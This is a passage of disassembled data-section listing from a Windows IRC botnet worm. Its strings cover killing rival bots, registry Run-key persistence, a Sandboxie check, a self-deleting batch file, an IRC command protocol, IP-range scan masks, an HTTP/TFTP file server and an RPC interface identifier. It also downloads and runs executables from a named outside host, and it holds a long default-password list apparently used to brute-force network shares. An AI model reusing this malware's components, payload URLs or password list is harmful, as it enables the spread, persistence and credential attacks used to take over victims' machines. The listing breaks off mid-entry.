aEhVectorConstr ; "`eh vector constructor iterator'" dd offset aEhVectorDestru ; "`eh vector destructor iterator'" dd offset aEhVectorVbas_0 ; "`eh vector vbase constructor iterator'" dd offset aCopyConstructo ; "`copy constructor closure'" dd offset aUdtReturning ; "`udt returning'" dd offset aEh ; "`EH" dd offset aRtti ; "`RTTI" dd offset aLocalVftable ; "`local vftable'" dd offset aLocalVftableCo ; "`local vftable constructor closure'" dd offset aNew ; " new[]" dd offset aDelete ; " delete[]" dd offset aOmniCallsig ; "`omni callsig'" dd offset aPlacementDel_0 ; "`placement delete closure'" dd offset aPlacementDelet ; "`placement delete[] closure'" dd offset aManagedVecto_0 ; "`managed vector constructor iterator'" dd offset aManagedVectorD ; "`managed vector destructor iterator'" dd offset aEhVectorCopyCo ; "`eh vector copy constructor iterator'" dd offset aEhVectorVbaseC ; "`eh vector vbase copy constructor itera"... dd offset aDynamicInitial ; "`dynamic initializer for '" dd offset aDynamicAtexitD ; "`dynamic atexit destructor for '" dd offset aVectorCopyCons ; "`vector copy constructor iterator'" dd offset aVectorVbaseCop ; "`vector vbase copy constructor iterator"... dd offset aManagedVectorC ; "`managed vector copy constructor iterat"... dd offset aLocalStaticThr ; "`local static thread guard'" dd offset byte_4202A1 dd 86808006h, 808180h, 86031000h, 80828680h, 45050514h dd 85854545h, 585h, 50803030h, 8008880h, 38272800h, 805750h dd 30370007h, 88505030h, 20000000h, 80888028h, 80h aHHhhXppwpp db '`h`hhh',8,8,7,'xppwpp',8,8,0 dw 800h dd 7000800h, 8 aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_4190F4+C1o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_4190F4+A9o align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4190F4+6Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4190F4+58o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4190F4+46o aUser32_dll db 'USER32.DLL',0 ; DATA XREF: sub_4190F4+28o align 4 off_41FD6C dd offset sub_41933C ; DATA XREF: sub_411A79r sub_411A79+9o ... dd 2 dup(4192DBh), 78656E5Fh, 74666174h, 7265h, 676F6C5Fh dd 62h, 6E795Fh, 31795Fh, 30795Fh, 78657266h, 70h, 646F6D66h dd 0 a_hypot db '_hypot',0 align 10h a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 10h aFabs db 'fabs',0 align 4 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h dbl_41FDF0 dq 0.0 ; DATA XREF: sub_419634+143r aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 10h aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aE000 db 'e+000',0 ; DATA XREF: sub_41A564:loc_41A63Co align 10h dbl_41FE40 dq 4.195835e6 ; DATA XREF: sub_41AEA4+Fr dbl_41FE48 dq 3.145727e6 ; DATA XREF: sub_41AEA4+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41AEE0+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41AEE0o align 4 aConout db 'CONOUT$',0 ; DATA XREF: sub_41AF3B+Eo a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41C5C1:loc_41C6F0o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_41C5C1+103o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_41C5C1+F4o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_41C5C1+DCo align 10h aBadAllocation db 'bad allocation',0 ; DATA XREF: .data:off_423000o ; .data:00423030o ... align 10h aOpenthread db 'OpenThread',0 ; DATA XREF: sub_401000+28o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_401000+2Do ; sub_401C17+38o ... align 4 aOpenprocess db 'OpenProcess',0 ; DATA XREF: sub_401000+42o aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_401000+52o ; sub_401C17+2Bo align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_401000+62o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_401000+72o align 4 aModule32first db 'Module32First',0 ; DATA XREF: sub_401000+82o ; sub_401C17+49o align 4 aModule32next db 'Module32Next',0 ; DATA XREF: sub_401000+92o ; sub_401C17+57o align 4 aThread32first db 'Thread32First',0 ; DATA XREF: sub_401000+A2o align 4 aThread32next db 'Thread32Next',0 ; DATA XREF: sub_401000+B2o align 4 aReadprocessmem db 'ReadProcessMemory',0 ; DATA XREF: sub_401000+C2o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_401000+D2o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_401000+D7o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_401000+1FCo ; sub_401000+281o align 10h aSystem db 'System',0 ; DATA XREF: sub_401000+2C0o align 4 aBotKilledS db 'Bot Killed: %s',0 ; DATA XREF: sub_401000+37Eo align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_40140A+36o ; sub_402833+13Co ... align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0 ; DATA XREF: sub_40140A+3Do align 4 aSoftwareMicr_1 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx',0 ; DATA XREF: sub_40140A+44o aSoftwareMicr_2 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices',0 ; DATA XREF: sub_40140A+4Bo align 4 aSystemControls db 'SYSTEM\ControlSet001\Services\Eventlog\System',0 ; DATA XREF: sub_40158F+27o align 4 aSS_2 db '%s\%s',0 ; DATA XREF: sub_40158F+DDo ; sub_40312D+4Eo ... align 10h aEventmessagefi db 'EventMessageFile',0 ; DATA XREF: sub_40158F+110o align 4 aSC db '%s%c',0 ; DATA XREF: sub_401ACE+4Bo ; sub_404844+150o align 4 aCInsidetm db 'C:\InsideTm',0 ; DATA XREF: sub_401B44+1Eo aGetwindowlonga db 'GetWindowLongA',0 ; DATA XREF: sub_401BBC+10o align 4 aUser32 db 'user32',0 ; DATA XREF: sub_401BBC+15o align 10h aSandboxie db 'Sandboxie',0 ; DATA XREF: sub_401C17+1Eo align 4 aListTTooLong db 'list<T> too long',0 ; DATA XREF: sub_401FC0+2Bo ; sub_408525+2Bo align 10h off_420120 dd offset nullsub_302 ; DATA XREF: sub_401E54+23o aNtLanManager_ db 'NT LAN Manager *.*',0 ; DATA XREF: sub_4023EB+1B6o align 4 aWindows2000Lan db 'Windows 2000 LAN Manager*',0 ; DATA XREF: sub_4023EB+1CEo align 4 aWindows5_0 db 'Windows 5.0',0 ; DATA XREF: sub_4023EB+1E3o aWindows5_1 db 'Windows 5.1',0 ; DATA XREF: sub_4023EB+1FDo aWindowsServer2 db 'Windows Server 2003 *',0 ; DATA XREF: sub_4023EB+217o align 4 a@echoOff1DelSI db '@echo off',0Dh,0Ah ; DATA XREF: sub_4026D7+7Eo db ':1',0Dh,0Ah db 'del "%s"',0Dh,0Ah db 'if exist "%s" goto 1',0Dh,0Ah db 'del "%%0"',0Dh,0Ah,0 align 10h aSTmpIIICCC_bat db '%s\tmp-%i%i%i-%c%c%c.bat',0 ; DATA XREF: sub_4026D7+FCo align 4 aW: ; DATA XREF: sub_4026D7+110o unicode 0, <w>,0 aS db '%s',0 ; DATA XREF: sub_4026D7+12Bo ; sub_402E6D+75o ... align 4 aRm db 'RM',0 ; DATA XREF: sub_402833+F0o ; sub_4049E1+327o align 4 aQuitSYouKilled db 'QUIT :%s YOU KILLED ME :< --UPDATED',0Dh,0Ah,0 ; DATA XREF: sub_402833+16Co align 10h aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_402A2D+56o ; .text:00409FBDo ... aVis db 'VIS',0 ; DATA XREF: sub_402AAB+42o a2k3 db '2K3',0 ; DATA XREF: sub_402AAB+55o aXp db 'XP',0 ; DATA XREF: sub_402AAB+62o align 4 a2k db '2K',0 ; DATA XREF: sub_402AAB+6Eo align 4 aMe db 'ME',0 ; DATA XREF: sub_402AAB+81o align 10h a98 db '98',0 ; DATA XREF: sub_402AAB+8Eo align 4 aNt db 'NT',0 ; DATA XREF: sub_402AAB+A0o align 4 a95 db '95',0 ; DATA XREF: sub_402AAB+ADo align 4 aUnk db 'UNK',0 ; DATA XREF: sub_402AAB:loc_402B5Fo a192 db '192*',0 ; DATA XREF: sub_402C36+32o align 4 a10_ db '10.*',0 ; DATA XREF: sub_402C36+49o align 10h a111_ db '111.*',0 ; DATA XREF: sub_402C36+5Eo align 4 a15_ db '15.*',0 ; DATA XREF: sub_402C36+73o align 10h a16_ db '16.*',0 ; DATA XREF: sub_402C36+84o align 4 a101 db '101*',0 ; DATA XREF: sub_402C36+95o align 10h a110 db '110*',0 ; DATA XREF: sub_402C36+A6o align 4 a112 db '112*',0 ; DATA XREF: sub_402C36+B7o align 10h a170_65__ db '170.65.*.*',0 ; DATA XREF: sub_402C36+C8o align 4 a11_ db '11.*',0 ; DATA XREF: sub_402C36+D9o align 4 a172 db '172*',0 ; DATA XREF: sub_402C36+EAo align 4 aSX db '%s%X',0 ; DATA XREF: sub_402E6D+10Bo byte_4202A1 db 3 dup(0) ; DATA XREF: sub_402FC8+28o ; sub_4049E1+34Bo ... asc_4202A4: ; DATA XREF: sub_40300B+89o ; sub_403718+2Co ... unicode 0, < >,0 aGet db 'GET',0 ; DATA XREF: sub_403249+B3o aQue? db 'Que?',0 ; DATA XREF: sub_403249+CAo ; sub_403249+2FFo align 8 aHttp1_1501NotI db 'HTTP/1.1 501 Not Implemented',0Dh,0Ah ; DATA XREF: sub_403249+FCo db 'Content-Length: %d',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 aSSSS db '%s\%s\%s%s',0 ; DATA XREF: sub_403249+205o align 4 aSSS_1 db '%s\%s\%s',0 ; DATA XREF: sub_403249+1D2o align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 ok',0Dh,0Ah ; DATA XREF: sub_403249+33Ao db 'Content-Length: %d',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttpTransferD_ db 'HTTP: Transfer: %d.%d.%d.%d (N/A). %d Total Sends.',0 ; DATA XREF: sub_403249+45Do align 4 aHttpTransfer_0 db 'HTTP: Transfer: %d.%d.%d.%d (%s). %d Total Sends.',0 ; DATA XREF: sub_403249+489o align 4 asc_4203BC db 0Dh,0Ah,0 ; DATA XREF: sub_403718+16o ; sub_403C7D+73o align 10h asc_4203C0 db 0Dh,0Ah ; DATA XREF: sub_403718+74o db 0Dh,0Ah,0 align 4 asc_4203C8 db '%x',0 ; DATA XREF: sub_4037AC+54o align 4 aSS db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_4038C8+42o ; sub_40393C+1D9o ... aSS_0 db '%s-%s',0 ; DATA XREF: sub_40393C+280o align 4 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40393C+2FAo db '%s %s 0 0 :%s',0Dh,0Ah,0 align 4 aSSS db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403DB4+B9o ; sub_403F55+2D9o align 10h asc_420400 db ' :',0 ; DATA XREF: sub_403F55+79o ; sub_403F55+546o align 4 a001 db '001',0 ; DATA XREF: sub_403F55+362o aSSSSSS db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_403F55+3FAo db '%s %s %s',0Dh,0Ah,0 align 10h a332 db '332',0 ; DATA XREF: sub_403F55+4CCo ; sub_403F55+5CAo asc_420424: ; DATA XREF: sub_403F55+581o ; r69pu5ti:0041FB74o unicode 0, <!>,0 asc_420428: ; DATA XREF: sub_403F55:loc_4045D4o unicode 0, <;>,0 aS_0 db '-s',0 ; DATA XREF: sub_4046BC+28o align 10h aS_1 db '/s',0 ; DATA XREF: sub_4046BC+40o align 4 aQwertyuiopasdf db 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM',0 ; DATA XREF: sub_404844+21o align 4 asc_42046C: ; DATA XREF: sub_404844+62o ; sub_408B28:loc_408C7Bo unicode 0, <[>,0 aSS_1 db '%s%s|',0 ; DATA XREF: sub_404844+8Eo align 4 aSp db '%sP|',0 ; DATA XREF: sub_404844+D9o align 10h aS0I64u db '%s0%I64u|',0 ; DATA XREF: sub_404844+112o align 4 aSI64u db '%s%I64u|',0 ; DATA XREF: sub_404844+11Co align 4 aS_2 db '%s]',0 ; DATA XREF: sub_404844+174o aFu db '--fu ',0 ; DATA XREF: sub_4049E1+4Bo align 4 aSSS_0 db '%s %s%s',0 ; DATA XREF: sub_4049E1+1BBo aCGfccx_exe db 'C:\gfccx.exe',0 ; DATA XREF: sub_4049E1+3A7o align 4 aHttpMarvmozlin db 'http://marvmozlinwildlife.com/gfxdrvr.exe',0 ; DATA XREF: sub_4049E1+3ACo align 4 aCSp2_exe db 'C:\sp2.exe',0 ; DATA XREF: sub_4049E1+3B6o align 4 aHttpMarvmozl_0 db 'http://marvmozlinwildlife.com/sp2.exe',0 ; DATA XREF: sub_4049E1+3BBo align 10h dd 428A2F98h, 71374491h, 0B5C0FBCFh, 0E9B5DBA5h, 3956C25Bh dd 59F111F1h, 923F82A4h, 0AB1C5ED5h, 0D807AA98h, 12835B01h dd 243185BEh, 550C7DC3h, 72BE5D74h, 80DEB1FEh, 9BDC06A7h dd 0C19BF174h, 0E49B69C1h, 0EFBE4786h, 0FC19DC6h, 240CA1CCh dd 2DE92C6Fh, 4A7484AAh, 5CB0A9DCh, 76F988DAh, 983E5152h dd 0A831C66Dh, 0B00327C8h, 0BF597FC7h, 0C6E00BF3h, 0D5A79147h dd 6CA6351h, 14292967h, 27B70A85h, 2E1B2138h, 4D2C6DFCh dd 53380D13h, 650A7354h, 766A0ABBh, 81C2C92Eh, 92722C85h dd 0A2BFE8A1h, 0A81A664Bh, 0C24B8B70h, 0C76C51A3h, 0D192E819h dd 0D6990624h, 0F40E3585h, 106AA070h, 19A4C116h, 1E376C08h dd 2748774Ch, 34B0BCB5h, 391C0CB3h, 4ED8AA4Ah, 5B9CCA4Fh dd 682E6FF3h, 748F82EEh, 78A5636Fh, 84C87814h, 8CC70208h dd 90BEFFFAh, 0A4506CEBh, 0BEF9A3F7h, 0C67178F2h, 6A09E667h dd 0BB67AE85h, 3C6EF372h, 0A54FF53Ah, 510E527Fh, 9B05688Ch dd 1F83D9ABh, 5BE0CD19h dword_420640 dd 0D728AE22h ; DATA XREF: sub_405390+318r dword_420644 dd 428A2F98h ; DATA XREF: sub_405390+31Fr dword_420648 dd 23EF65CDh ; DATA XREF: sub_405390+548r dword_42064C dd 71374491h ; DATA XREF: sub_405390+54Fr dword_420650 dd 0EC4D3B2Fh ; DATA XREF: sub_405390+772r dword_420654 dd 0B5C0FBCFh ; DATA XREF: sub_405390+779r dword_420658 dd 8189DBBCh ; DATA XREF: sub_405390+9B8r dword_42065C dd 0E9B5DBA5h ; DATA XREF: sub_405390+9BFr dword_420660 dd 0F348B538h ; DATA XREF: sub_405390+BFEr dword_420664 dd 3956C25Bh ; DATA XREF: sub_405390+C09r dword_420668 dd 0B605D019h ; DATA XREF: sub_405390+E80r dword_42066C dd 59F111F1h ; DATA XREF: sub_405390+E87r dword_420670 dd 0AF194F9Bh ; DATA XREF: sub_405390+10D7r dword_420674 dd 923F82A4h ; DATA XREF: sub_405390+10DEr dword_420678 dd 0DA6D8118h ; DATA XREF: sub_405390+1319r dword_42067C dd 0AB1C5ED5h ; DATA XREF: sub_405390+1320r dword_420680 dd 0A3030242h ; DATA XREF: sub_405390+1569r dword_420684 dd 0D807AA98h ; DATA XREF: sub_405390+1570r dword_420688 dd 45706FBEh ; DATA XREF: sub_405390+17ABr dword_42068C dd 12835B01h ; DATA XREF: sub_405390+17B2r dword_420690 dd 4EE4B28Ch ; DATA XREF: sub_405390+19F3r dword_420694 dd 243185BEh ; DATA XREF: sub_405390+19FAr dword_420698 dd 0D5FFB4E2h ; DATA XREF: sub_405390+1C39r dword_42069C dd 550C7DC3h ; DATA XREF: sub_405390+1C40r dword_4206A0 dd 0F27B896Fh ; DATA XREF: sub_405390+1E91r dword_4206A4 dd 72BE5D74h ; DATA XREF: sub_405390+1E9Cr dword_4206A8 dd 3B1696B1h ; DATA XREF: sub_405390+210Dr dword_4206AC dd 80DEB1FEh ; DATA XREF: sub_405390+2114r dword_4206B0 dd 25C71235h ; DATA XREF: sub_405390+236Ar dword_4206B4 dd 9BDC06A7h ; DATA XREF: sub_405390+2371r dword_4206B8 dd 0CF692694h ; DATA XREF: sub_405390+25B8r dword_4206BC dd 0C19BF174h ; DATA XREF: sub_405390+25BFr dd 9EF14AD2h, 0E49B69C1h, 384F25E3h, 0EFBE4786h, 8B8CD5B5h dd 0FC19DC6h, 77AC9C65h, 240CA1CCh, 592B0275h, 2DE92C6Fh dd 6EA6E483h, 4A7484AAh, 0BD41FBD4h, 5CB0A9DCh, 831153B5h dd 76F988DAh, 0EE66DFABh, 983E5152h, 2DB43210h, 0A831C66Dh dd 98FB213Fh, 0B00327C8h, 0BEEF0EE4h, 0BF597FC7h, 3DA88FC2h dd 0C6E00BF3h, 930AA725h, 0D5A79147h, 0E003826Fh, 6CA6351h dd 0A0E6E70h, 14292967h, 46D22FFCh, 27B70A85h, 5C26C926h dd 2E1B2138h, 5AC42AEDh, 4D2C6DFCh, 9D95B3DFh, 53380D13h dd 8BAF63DEh, 650A7354h, 3C77B2A8h, 766A0ABBh, 47EDAEE6h dd 81C2C92Eh, 1482353Bh, 92722C85h, 4CF10364h, 0A2BFE8A1h dd 0BC423001h, 0A81A664Bh, 0D0F89791h, 0C24B8B70h, 654BE30h dd 0C76C51A3h, 0D6EF5218h, 0D192E819h, 5565A910h, 0D6990624h dd 5771202Ah, 0F40E3585h, 32BBD1B8h, 106AA070h, 0B8D2D0C8h dd 19A4C116h, 5141AB53h, 1E376C08h, 0DF8EEB99h, 2748774Ch dd 0E19B48A8h, 34B0BCB5h, 0C5C95A63h, 391C0CB3h, 0E3418ACBh dd 4ED8AA4Ah, 7763E373h, 5B9CCA4Fh, 0D6B2B8A3h, 682E6FF3h dd 5DEFB2FCh, 748F82EEh, 43172F60h, 78A5636Fh, 0A1F0AB72h dd 84C87814h, 1A6439ECh, 8CC70208h, 23631E28h, 90BEFFFAh dd 0DE82BDE9h, 0A4506CEBh, 0B2C67915h, 0BEF9A3F7h, 0E372532Bh dd 0C67178F2h, 0EA26619Ch, 0CA273ECEh, 21C0C207h, 0D186B8C7h dd 0CDE0EB1Eh, 0EADA7DD6h, 0EE6ED178h, 0F57D4F7Fh, 72176FBAh dd 6F067AAh, 0A2C898A6h, 0A637DC5h, 0BEF90DAEh, 113F9804h dd 131C471Bh, 1B710B35h, 23047D84h, 28DB77F5h, 40C72493h dd 32CAAB7Bh, 15C9BEBCh, 3C9EBE0Ah, 9C100D4Ch, 431D67C4h dd 0CB3E42B6h, 4CC5D4BEh, 0FC657E2Ah, 597F299Ch, 3AD6FAECh dd 5FCB6FABh, 4A475817h, 6C44198Ch, 0C1059ED8h, 0CBBB9D5Dh dd 367CD507h, 629A292Ah, 3070DD17h, 9159015Ah, 0F70E5939h dd 152FECD8h, 0FFC00B31h, 67332667h, 68581511h, 8EB44A87h dd 64F98FA7h, 0DB0C2E0Dh, 0BEFA4FA4h, 47B5481Dh, 90h dup(0) byte_420B40 db 8, 0C9h ; DATA XREF: sub_402E6D+8Eo ; --------------------------------------------------------------------------- mov esp, 9E667F3h push 3Bh cmpsd retf 8584h ; --------------------------------------------------------------------------- db 0AEh, 67h, 0BBh dd 0FE94F82Bh, 3C6EF372h, 5F1D36F1h, 0A54FF53Ah, 0ADE682D1h dd 510E527Fh, 2B3E6C1Fh, 9B05688Ch, 0FB41BD6Bh, 1F83D9ABh dd 137E2179h, 5BE0CD19h, 90h dup(0) dword_420DC0 dd 6272h ; DATA XREF: sub_407FE4+40o aTftpSendComple db 'TFTP: Send Complete To %s. %d Total Sends',0 ; DATA XREF: sub_407FE4+1A0o align 10h aUpdate db 'update',0 ; DATA XREF: .text:0041D783o align 4 aAd db 'AD',0 ; DATA XREF: .text:loc_408887o align 4 aMozilla5_0 db 'Mozilla/5.0',0 ; DATA XREF: sub_4088D0+33o aDlDownloadingS db 'DL: Downloading %s to %s',0 ; DATA XREF: sub_4088D0+51o align 4 aFailedBadLocat db 'Failed; Bad Location.',0 ; DATA XREF: sub_4088D0:loc_408A9Ao align 4 aDownloadSIByte db 'Download %s (%i Bytes) finished in %i seconds (%iKB/s)',0 ; DATA XREF: sub_4088D0+156o align 4 aUninstalling db 'Uninstalling',0 ; DATA XREF: sub_4088D0+1A7o align 4 aFailedUpdate db 'Failed Update',0 ; DATA XREF: sub_4088D0:loc_408AA1o align 4 aErrorExecuting db 'Error Executing',0 ; DATA XREF: sub_4088D0+1EDo aExecutedS db 'Executed: %s',0 ; DATA XREF: sub_4088D0+1FCo align 4 aBadUrl db 'Bad URL',0 ; DATA XREF: sub_4088D0:loc_408AE8o aJ@ db 'Ȇ@',0 ; DATA XREF: .text:0041D792o ; .data:off_433BCCo aNcacn_ip_tcp db 'ncacn_ip_tcp',0 ; DATA XREF: sub_408B28+47o align 10h a50abc2a4574d40 db '50abc2a4-574d-40b3-9d66-ee4fd5fba076',0 ; DATA XREF: sub_408B28+127o align 4 asc_420EF8: ; DATA XREF: sub_408B28+17Co unicode 0, <]>,0 dword_420EFC dd 5C0D0A00h ; DATA XREF: sub_408CC5+7Cr ; sub_4099FF+1Fr dword_420F00 dd 2E2F5Fh ; DATA XREF: sub_408CC5+8Br ; sub_4099FF+27r dword_420F04 dd 0 ; DATA XREF: sub_408CC5+90o ; sub_408CC5+BEo ... aHttpSDS db 'http://%s:%d/%s',0 ; DATA XREF: sub_408CC5+22Ao ; .text:0040968Eo ... aStaff db 'staff',0 ; DATA XREF: .data:0042465Co align 10h aTeacher db 'teacher',0 ; DATA XREF: .data:0042465Co aStudent db 'student',0 ; DATA XREF: .data:0042465Co aIntranet db 'intranet',0 ; DATA XREF: .data:0042465Co align 4 aLan db 'lan',0 ; DATA XREF: .data:0042465Co aMain db 'main',0 ; DATA XREF: .data:0042465Co align 4 aWinpass db 'winpass',0 ; DATA XREF: .data:0042465Co aBlank db 'blank',0 ; DATA XREF: .data:0042465Co align 4 aOffice db 'office',0 ; DATA XREF: .data:0042465Co align 10h aControl db 'control',0 ; DATA XREF: .data:0042465Co aXp_0 db 'xp',0 ; DATA XREF: .data:0042465Co align 4 aNokia db 'nokia',0 ; DATA XREF: .data:0042465Co align 4 aHp db 'hp',0 ; DATA XREF: .data:0042465Co align 4 aSiemens db 'siemens',0 ; DATA XREF: .data:0042465Co aCompaq db 'compaq',0 ; DATA XREF: .data:0042465Co align 4 aDell db 'dell',0 ; DATA XREF: .data:0042465Co align 10h aCisco db 'cisco',0 ; DATA XREF: .data:0042465Co align 4 aIbm db 'ibm',0 ; DATA XREF: .data:0042465Co aOracle db 'oracle',0 ; DATA XREF: .data:0042465Co align 4 aOrainstall db 'orainstall',0 ; DATA XREF: .data:0042465Co align 10h aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0042465Co align 4 aSql db 'sql',0 ; DATA XREF: .data:0042465Co aDb1234 db 'db1234',0 ; DATA XREF: .data:0042465Co align 10h aDb2 db 'db2',0 ; DATA XREF: .data:0042465Co aDb1 db 'db1',0 ; DATA XREF: .data:0042465Co aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0042465Co align 4 aData db 'data',0 ; DATA XREF: .data:0042465Co align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0042465Co align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0042465Co align 10h aDbpass db 'dbpass',0 ; DATA XREF: .data:0042465Co align 4 aAccess db 'access',0 ; DATA XREF: .data:0042465Co align 10h aDatabase db 'database',0 ; DATA XREF: .data:0042465Co align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0042465Co align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .data:0042465Co align 4 aDomain db 'domain',0 ; DATA XREF: .data:0042465Co align 10h aHello db 'hello',0 ; DATA XREF: .data:0042465Co align 4 aHell db 'hell',0 ; DATA XREF: .data:0042465Co align 10h aGod db 'god',0 ; DATA XREF: .data:0042465Co aSex db 'sex',0 ; DATA XREF: .data:0042465Co aSlut db 'slut',0 ; DATA XREF: .data:0042465Co align 10h aBitch db 'bitch',0 ; DATA XREF: .data:0042465Co align 4 aFuck db 'fuck',0 ; DATA XREF: .data:0042465Co align 10h aExchange db 'exchange',0 ; DATA XREF: .data:0042465Co align 4 aBackup db 'backup',0 ; DATA XREF: .data:0042465Co align 4 aTechnical db 'technical',0 ; DATA XREF: .data:0042465Co align 10h aLoginpass db 'loginpass',0 ; DATA XREF: .data:0042465Co align 4 aLogin db 'login',0 ; DATA XREF: .data:0042465Co align 4 aMary db 'mary',0 ; DATA XREF: .data:0042465Co align 4 aKatie db 'katie',0 ; DATA XREF: .data:0042465Co align 4 aKate db 'kate',0 ; DATA XREF: .data:0042465Co align 4 aGeorge db 'george',0 ; DATA XREF: .data:0042465Co align 4 aEric db 'eric',0 ; DATA XREF: .data:0042465Co align 4 aChris db 'chris',0 ; DATA XREF: .data:0042465Co align 4 aIan db 'ian',0 ; DATA XREF: .data:0042465Co aNeil db 'neil',0 ; DATA XREF: .data:0042465Co align 10h aLee db 'lee',0 ; DATA XREF: .data:0042465Co aBrian db 'brian',0 ; DATA XREF: .data:0042465Co align 4 aSusan db 'susan',0 ; DATA XREF: .data:0042465Co align 4 aSue db 'sue',0 ; DATA XREF: .data:0042465Co aSam db 'sam',0 ; DATA XREF: .data:0042465Co aLuke db 'luke',0 ; DATA XREF: .data:0042465Co align 4 aPeter db 'peter',0 ; DATA XREF: .data:0042465Co align 4 aJohn db 'john',0 ; DATA XREF: .data:0042465Co align 4 aMike db 'mike',0 ; DATA XREF: .data:0042465Co align 4 aBill db 'bill',0 ; DATA XREF: .data:0042465Co align 4 aFred db 'fred',0 ; DATA XREF: .data:0042465Co align 4 aJoe db 'joe',0 ; DATA XREF: .data:0042465Co aJen db 'jen',0 ; DATA XREF: .data:0042465Co aBob db 'bob',0 ; DATA XREF: .data:0042465Co aQwe db 'qwe',0 ; DATA XREF: .data:0042465Co aZxc db 'zxc',0 ; DATA XREF: .data:0042465Co aAsd db 'asd',0 ; DATA XREF: .data:0042465Co aQaz db 'qaz',0 ; DATA XREF: .data:0042465Co aWin2000 db 'win2000',0 ; DATA XREF: .data:0042465Co aWinnt db 'winnt',0 ; DATA XREF: .data:0042465Co align 4 aWinxp db 'winxp',0 ; DATA XREF: .data:0042465Co align 10h aWin2k db 'win2k',0 ; DATA XREF: .data:0042465Co align 4 aWin98 db 'win98',0 ; DATA XREF: .data:0042465Co align 10h aWindows db 'windows',0 ; DATA XREF: .data:0042465Co aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0042465Co align 4 aOemuser db 'oemuser',0 ; DATA XREF: .data:0042465Co aOem db 'oem',0 ; DATA XREF: .data:0042465Co aUser db 'user',0 ; DATA XREF: .data:0042465Co align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .data:0042465Co align 4 aHome db 'home',0 ; DATA XREF: .data:0042465Co align 4 aAccounting db 'accounting',0 ; DATA XREF: .data:0042465Co align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0042465Co align 4 aInternet db 'internet',0 ; DATA XREF: .data:0042465Co align 10h aWww db 'www',0 ; DATA XREF: .data:0042465Co aWeb db 'web',0 ; DATA XREF: .data:0042465Co aOutlook db 'outlook',0 ; DATA XREF: .data:0042465Co aMail db 'mail',0 ; DATA XREF: .data:0042465Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0042465Co align 10h aNull_1 db 'null',0 ; DATA XREF: .data:0042465Co align 4 aServer db 'server',0 ; DATA XREF: .data:0042465Co align 10h aSystem_0 db 'system',0 ; DATA XREF: .data:0042465Co align 4 aDefault db 'default',0 ; DATA XREF: .data:0042465Co aChangeme db 'changeme',0 ; DATA XREF: .data:0042465Co align 4 aLinux db 'linux',0 ; DATA XREF: .data:0042465Co align 4 aUnix db 'unix',0 ; DATA XREF: .data:0042465Co align 4 aDemo db 'demo',0 ; DATA XREF: .data:0042465Co align 4 aNone db 'none',0 ; DATA XREF: .data:0042465Co align 4 aGuest db 'guest',0 ; DATA XREF: .data:0042465Co align 4 aTest db 'test',0 ; DATA XREF: .data:0042465Co align 4 a2004 db '2004',0 ; DATA XREF: .data:0042465Co align 4 a2003 db '2003',0 ; DATA XREF: .data:0042465Co align 4 a2002 db '2002',0 ; DATA XREF: .data:0042465Co align 4 a2001 db '2001',0 ; DATA XREF: .data:0042465Co align 4 a2000 db '2000',0 ; DATA XREF: .data:0042465Co align 4 a1234567890 db '1234567890',0 ; DATA XREF: .data:0042465Co align 10h a123456789 db '123456789',0 ; DATA XREF: .data:0042465Co align 4 a12345678 db '12345678',0 ; DATA XREF: .data:0042465Co align 4 a1234567 db '1234567',0 ; DATA XREF: .data:0042465Co a123456 db '123456',0 ; DATA XREF: .data:0042465Co align 4 a12345 db '12345',0 ; DATA XREF: .data:0042465Co align 10h a1234 db '1234',0 ; DATA XREF: .data:0042465Co align 4 a123 db '123',0 ; DATA XREF: .data:0042465Co a12 db '12',0 ; DATA XREF: .data:0042465Co align 10h a1: ; 